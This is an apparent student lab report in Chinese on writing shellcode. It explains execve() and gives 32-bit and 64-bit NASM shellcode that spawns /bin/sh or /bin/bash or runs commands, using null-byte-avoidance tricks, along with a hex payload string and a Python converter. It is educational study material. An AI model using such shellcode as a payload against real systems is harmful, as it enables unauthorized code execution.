execve()函数的参数含义
其函数原型通常如下:
int execve(const char *pathname, char *const argv[], char *const envp[]);参数一:const char *pathname
作用:指定要执行的可执行文件的路径。
这个参数是一个字符串,指向一个包含路径名的字符数组。它告诉内核:“请找到并加载这个路径下的文件来执行我。”
详细解释:
-
路径类型:
- 绝对路径:例如
"/usr/bin/ls"。内核会直接根据这个路径去寻找文件。 - 相对路径:例如
"./my_program"。内核会相对于当前进程的工作目录来解析这个路径。
- 绝对路径:例如
-
文件要求:
该文件必须是一个真正的可执行文件。这包括:
-
由编译器生成的二进制可执行文件
-
以
#!interpreter [arg]开头的脚本文件(例如 Shell 脚本、Python 脚本)。在这种情况下,内核会启动#!后面指定的解释器,并将脚本路径和参数传递给解释器。例如,对于#!/bin/bash的脚本,实际执行的是/bin/bash your_script.sh。 -
当前进程必须对该文件拥有执行权限。
-
参数二:char *const argv[]
作用:传递给新程序的命令行参数列表(Argument Vector)。
这个参数是一个指针数组,其中每个指针指向一个以空字符结尾的字符串,最后以一个 NULL 指针结束。它模拟了我们在 Shell 中运行命令时输入的参数。
详细解释:
-
格式约定:
argv[0]:按照约定,这通常是所执行程序的名称。它不一定必须与pathname完全一样,但通常是程序名(如"ls","grep")。很多程序的行为会依赖于argv[0],例如busybox通过检查argv[0]来决定以什么功能启动。argv[1],argv[2], …:这些是传递给程序的真正参数。- 数组的最后一个元素必须是
NULL指针。这对于内核和新程序知道参数列表在哪里结束至关重要。
-
示例: 如果你想执行
ls -l /home,需要构建这样的数组:char *argv[] = {"ls", // argv[0]"-l", // argv[1]"/home", // argv[2]NULL // 结束标记};execve("/usr/bin/ls", argv, environ);在新程序(
/usr/bin/ls)的main函数中,argc将是 3,argv[0]是"ls",argv[1]是"-l",argv[2]是"/home"。
参数三:char *const envp[]
作用:传递给新程序的环境变量列表(Environment Vector)。
这个参数的结构与 argv[] 完全一样,也是一个以 NULL 结尾的字符串指针数组。每个字符串的格式通常是 "KEY=VALUE"。
详细解释:
-
内容:
环境变量包含了系统的配置信息,如用户的主目录(
HOME)、可执行文件的搜索路径(PATH)、当前使用的 Shell(SHELL)、语言设置(LANG)等。 -
示例: 一个典型的环境数组可能看起来像这样:
char *envp[] = {"PATH=/usr/local/bin:/usr/bin:/bin","HOME=/home/username","USER=username","TERM=xterm-256color",NULL // 结束标记};execve("./my_prog", argv, envp);
注:第二个和第三个参数都是设置一个指针,这个指针指向的是字符串指针,即指针数组的形式
Task 1.a
nasm是一个针对Intel x86和x64架构的汇编器和反汇编器,-f elf32表示我们要将代码编译成32位ELF二进制格式
ld表示链接外部库,elf_i386表示生成32位可执行二进制文件
nasm -f elf32 mysh.s -o mysh.old -m elf_i386 mysh.o -o mysh
运行mysh,并查看正在执行的进程的pid

发现正在运行的进程pid改变,证明这次执行产生了一个新的进程
objdump 命令可以用于反汇编可执行二进制文件,使用-Mintel选项表示在 Intel模式下生成汇编代码
objdump -Mintel --disassemble mysh.o
xxd 是一个十六进制转储工具,可用于查看和修改二进制文件或数据的十六进制表示,-c 控制每行显示的字节数;-p 参数用于以纯粹的十六进制格式输出数据,而不包含行号、偏移量和ASCII 字符。使用xxd命令打印出二进制文件的内容,可以找到shellcode
x80 为机器代码的结束标识

使用convert.py转换成shellcode
#!/usr/bin/env python3
# Run "xxd -p -c 20 rev_sh.o",# copy and paste the machine code to the following:ori_sh ="""31c050682f2f7368682f62696e89e3505389e131d231c0b00bcd80"""
sh = ori_sh.replace("\n", "")
length = int(len(sh)/2)print("Length of the shellcode: {}".format(length))s = 'shellcode= (\n' + ' "'for i in range(length): s += "\\x" + sh[2*i] + sh[2*i+1] if i > 0 and i % 16 == 15: s += '"\n' + ' "'s += '"\n' + ").encode('latin-1')"print(s)
Task 1.b
section .text global _start _start: ; Store the argument string on stack xor eax, eax
mov ebx, "h###" shl ebx, 24 shr ebx, 24 push ebx push "/bas" push "/bin" mov ebx, esp
; Construct the argument array argv[] push eax ; argv[1] = 0 push ebx ; argv[0] points "/bin//sh" mov ecx, esp ; Get the address of argv[]
; For environment variable xor edx, edx ; No env variables
; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80解决方法:将ebx向左移24位,“###”被丢弃,再向右移24位,变为“h000”,凑够了位数,又在不引入0的情况下使用0作为字符串结束符。

可以看到没有0

Task 1.c
在mysh.s基础上进行修改,将字符串压入栈,再将它们的存储地址存入寄存器中,压入字符串存储地址,构造argv[]数组,再将argv[]数组地址存入ecx。
section .text global _start _start: ; Store the argument string on stack xor eax, eax
push eax ; Use 0 to terminate the string push "//sh" push "/bin" mov ebx, esp ; Get the string address argv[0]
push eax mov ecx, "-c##" shl ecx, 16 shr ecx, 16 push ecx mov ecx,esp ; argv[1]
push eax mov edx, "al##" shl edx, 16 shr edx, 16 push edx push "ls -" mov edx,esp ; argv[2]
; Construct the argument array argv[] push eax ; argv[3] = 0 push edx ; argv[2] points "ls -la" push ecx ; argv[1] = -c push ebx ; argv[0] = /bin//sh mov ecx, esp ; Get the address of argv[]
; For environment variable xor edx, edx ; No env variables
; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
机器码中没有0

Task 1.d
首先将“/usr/bin/env”压入栈
“cccc=1234”不是4的倍数,以4byte分组后将多出来的“4”放入al中,再将eax压入栈,使字符串完整入栈,且结束符也入栈。
将edx置为0,压入栈,再将eax压入栈,此时eax指向“cccc=123”所存储的地址。在eax上加0xc,这时eax指向“bbb=5678”,压入eax,将“bbb=5678”的存储地址压入了栈中,压入“aaa=1234”的存储地址同理。
section .text global _start _start: ; Store the argument string on stack xor eax, eax
push eax ; Use 0 to terminate the string push "/env" push "/bin" push "/usr" mov ebx, esp ; Get the string address argv[0]
push eax push ebx mov ecx, esp
push eax push "1234" push "aaa="
push eax push "5678" push "bbb="
mov al, "4" push eax push "=123" push "cccc"
mov eax, esp
; For environment variable xor edx, edx ; No env variables push edx push eax add eax, 0xc push eax add eax, 0xc push eax mov edx, esp
; Invoke execve() xor eax, eax ; eax = 0x00000000 mov al, 0x0b ; eax = 0x0000000b int 0x80
查看机器码,没有0

Task 2
(1)解释代码:
section .text ; .text 段包含可执行代码 global _start ; _start 是程序入口点 _start: BITS 32 ; 指定这是 32 位代码, 使用 32 位寄存器和指令 jmp short two ; 跳转到 two 标签 one: pop ebx ;从栈中弹出字符串地址到 EBX xor eax, eax ; 将 EAX 清零 mov [ebx+7], al ; 将 AL 存储到 ebx+7 地址,这会将字符串中的 * 替换为 \0,/bin/sh\0AAAABBBB mov [ebx+8], ebx ; 将 EBX(指向 "/bin/sh" 的指针)存储到 ebx+8 地址,这设置了 argv[0] 参数 mov [ebx+12], eax ; 将 EAX(值为 0)存储到 ebx+12 地址,这设置了 argv 数组的结束标记 NULL lea ecx, [ebx+8] ; 将 ebx+8 的地址加载到 ECX,ECX 现在指向参数数组 argv xor edx, edx ;将 EDX 清零,这设置了环境变量数组 envp 为 NULL mov al, 0x0b ;al = 0x0b int 0x80 ;将 11(0x0b)移动到 AL,11 是 execve 的系统调用号 two: call one ;将下一条指令的地址压入栈中(即字符串地址),并跳转到one db '/bin/sh*AAAABBBB' ;为什么这能成功执行 /bin/sh
ebx 指向一个以 \0 终止的字符串 "/bin/sh"(通过 mov [ebx+7], al 写入 0 实现)。内核读取 ebx 作为 filename,找到合法 C 字符串。
ecx 指向一个以 NULL 结尾的指针数组,第一个元素正好指向 "/bin/sh"。这就是 argv(argv[0] = "/bin/sh", argv[1] = NULL)。
edx = NULL 表示 envp = NULL。
eax = 11 (execve) 且 int 0x80 发起系统调用。内核使用这些参数执行 execve(filename, argv, envp),因此 /bin/sh 被执行。
(2)默认情况下,代码段不可写的,所以,在运行链接器程序(ld)时,我们需要使用——omagic选项让代码段可写。
ld --omagic -m elf_i386 mysh2.o -o mysh2; myexec.s -- position-independent execve("/usr/bin/env", argv, envp); NASM (Intel) syntax, 32-bit
section .text ; 指定代码段 .textglobal _start ; 导出 _start 作为入口点bits 32 ; 指定为 32 位代码
_start: jmp short two ; 跳转到 two 标签(数据区),为后面的 call/pop 技巧做准备
one: pop ebx ; 从栈中弹出地址到 ebx,ebx 现在指向 db 后的字符串缓冲区 xor eax, eax ; 将 eax 清零(eax = 0),便于写入 0 或作为临时寄存器
mov [ebx+0x0c], eax ; 在 ebx+0x0c 写入 4 字节的 0(终止 "/usr/bin/env" 字符串) mov [ebx+0x10], ebx ; 在 ebx+0x10 写入 ebx(argv[0] = 指向 filename 的指针) lea ecx, [ebx+0x10] ; 将 ecx 设为 ebx+0x10(ecx 指向 argv 数组,execve 的第二个参数)
mov [ebx+0x14], eax ; 在 ebx+0x14 写入 0(argv[1] = NULL,argv 以 NULL 终止)
mov [ebx+0x1d], al ; 在 ebx+0x1d 写入单字节 0(终止第一个 env 字符串,例如把占位 '*' 变为 '\0') mov [ebx+0x23], al ; 在 ebx+0x23 写入单字节 0(终止第二个 env 字符串)
lea eax, [ebx+0x18] ; eax = ebx + 0x18(指向第一个环境字符串的起始) mov [ebx+0x24], eax ; 在 ebx+0x24 写入 eax(envp[0] = 指向第一个 env 字符串的指针)
lea eax, [ebx+0x1e] ; eax = ebx + 0x1e(指向第二个环境字符串的起始) mov [ebx+0x28], eax ; 在 ebx+0x28 写入 eax(envp[1] = 指向第二个 env 字符串的指针)
xor eax, eax ; eax = 0(再次清零,用于写入 envp 的 NULL 终结) mov [ebx+0x2c], eax ; 在 ebx+0x2c 写入 0(envp[2] = NULL,envp 数组以 NULL 终止)
lea edx, [ebx+0x24] ; edx = ebx + 0x24(edx 指向 envp 数组,execve 的第三个参数) mov al, 0x0b ; al = 0x0b(设置 eax = 11,sys_execve 的系统调用号) int 0x80 ; 触发系统调用,内核执行 execve( filename=ebx, argv=ecx, envp=edx )
two: call one ; call one 会把下一条指令地址(即 db 的地址)压栈,然后跳到 one,配合 pop ebx 取得 db 地址 db '/usr/bin/env****argv****aa=11*bb=22*env1env2****' ; 数据区:放置字符串和占位符,运行时会被就地修改为合法的 C 字符串和指针表
Task 3
对于x64体系结构,调用系统调用是通过系统调用指令完成的,系统调用的前三个参数分别存储在rdi、rsi、rdx寄存器中。
在64-bit shellcode中,以8字节为一组分割命令字符串,将字符串存入rax,再将rax压入栈。
section .text global _start_start: xor rdx, rdx ; 将 rdx 置 0,后面作为 execve 的 envp mov al, 'h' ; 将字符 'h' 装入 al push rax ; 将 rax压入栈——目的是把 'h' 放在栈上作为字符串结尾的一部分 mov rax, "/bin/bas" ; 把 "/bin/bas" 的低 8 字节装到 rax
push rax ; 将 "/bin/bas"压入栈;与上面的 'h' 组合后,栈上顺序变为 "/bin/bas" 接着 'h',构成 "/bin/bash\0" mov rdi, rsp ; 将 rdi 指向栈顶(filename 指针 -> 指向 "/bin/bash" 字符串)
push rdx ; push NULL,作为 argv 的终止(argv[1] = NULL) push rdi ; push filename 指针,argv[0] = pointer to "/bin/bash" mov rsi, rsp ; rsi = &argv
xor rax, rax ; 将 rax 清零 mov al, 0x3b ; al = 0x3b => rax = 59(sys_execve 的 syscall 编号) syscall ; 发起系统调用:execve(rdi (filename), rsi (argv), rdx (envp))运行结果:
